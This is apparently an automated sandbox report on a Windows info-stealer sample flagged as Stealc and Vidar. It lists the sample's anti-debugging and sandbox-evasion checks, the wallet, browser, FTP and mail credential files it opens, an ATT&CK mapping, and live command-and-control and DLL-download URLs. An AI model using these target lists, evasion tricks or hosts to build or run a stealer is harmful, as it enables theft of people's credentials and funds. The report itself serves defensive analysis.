Source: file.exe, 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-57988
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-57985
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59175
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58000
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58005
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58040

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C635FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C635FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007C4610 VirtualProtect ?,00000004,00000100,00000000

0_2_007C4610

Source: C:\Users\user\Desktop\file.exe

0_2_007D9270

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007D9160 mov eax, dword ptr fs:[00000030h]

0_2_007D9160

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007C5000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_007C5000

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C60B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C60B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 4960, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007D90A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_007D90A0

Source: file.exe, file.exe, 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60B341 cpuid

0_2_6C60B341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_007D7630

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007D63C0 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_007D63C0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007D72F0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_007D72F0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007D74D0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_007D74D0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1884629428.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4960, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4960, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json==
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.A

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4960, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1884629428.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4960, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4960, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://185.215.113.100/	100%	URL Reputation	malware
http://185.215.113.100/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.100	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/mozglue.dlle	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phprowser	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpf	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpion:	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpe	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpd_	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/mozglue.dll	100%	Avira URL Cloud	malware
https://support.mozilla.org	0%	URL Reputation	safe
http://185.215.113.100/e2b1563c6670f193.php2b	100%	Avira URL Cloud	malware
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/freebl3.dll?	100%	Avira URL Cloud	malware
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://185.215.113.100/0d60be0de163924d/vcruntime140.dllep	100%	Avira URL Cloud	malware
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpYb$X	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/softokn3.dll	100%	Avira URL Cloud	malware
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.php4_	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/softokn3.dllO	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/sqlite3.dll	100%	Avira URL Cloud	malware
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
http://185.215.113.100e2b1563c6670f193.phpion:	0%	Avira URL Cloud	safe
http://185.215.113.100/0d60be0de163924d/freebl3.dll	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpDBKFCAAEBFIDHDBAENy	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/nss3.dll	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll5s	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phptware	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/sqlite3.dllw	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/msvcp140.dll	100%	Avira URL Cloud	malware
